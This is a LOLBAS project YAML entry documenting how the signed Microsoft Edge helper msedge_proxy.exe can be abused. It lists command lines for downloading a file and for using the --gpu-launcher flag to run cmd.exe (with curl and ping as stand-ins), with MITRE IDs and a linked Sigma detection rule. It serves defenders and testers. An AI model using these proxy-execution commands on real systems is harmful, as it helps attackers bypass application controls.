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LOLBAS/yml/OSBinaries/msedge_proxy.yml

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YAML

---
Name: msedge_proxy.exe
Full_Path:
- Path: C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge_proxy.exe
Description: Microsoft Edge Browser
Author: 'Mert Daş'
Created: 2023-08-18
Commands:
- Command: "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge_proxy.exe http://example.com/test.zip"
Description: msedge_proxy will download malicious file.
Usecase: Download file from the internet
Category: Download
Privileges: User
MitreID: T1105
OperatingSystem: Windows 10, Windows 11
- Command: "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge_proxy.exe --disable-gpu-sandbox --gpu-launcher=\"C:\\\\Windows\\\\System32\\\\cmd.exe /c curl ipinfo.io/json --output %USERPROFILE%\\\\Desktop\\\\test.json &&\""
Description: Edge will silently download the file.
Usecase: Download file from the internet
Category: Download
Privileges: User
MitreID: T1105
OperatingSystem: Windows 10, Windows 11
- Command: "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge_proxy.exe --disable-gpu-sandbox --gpu-launcher=\"C:\\\\Windows\\\\System32\\\\cmd.exe /c ping google.com &&\""
Description: msedge_proxy.exe will execute file in the background
Usecase: Executes a process under a trusted Microsoft signed binary
Category: Execute
Privileges: User
MitreID: T1218.015
OperatingSystem: Windows 10, Windows 11
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_susp_electron_execution_proxy.yml
Acknowledgement:
- Person: Mert Daş
Handle: '@merterpreter'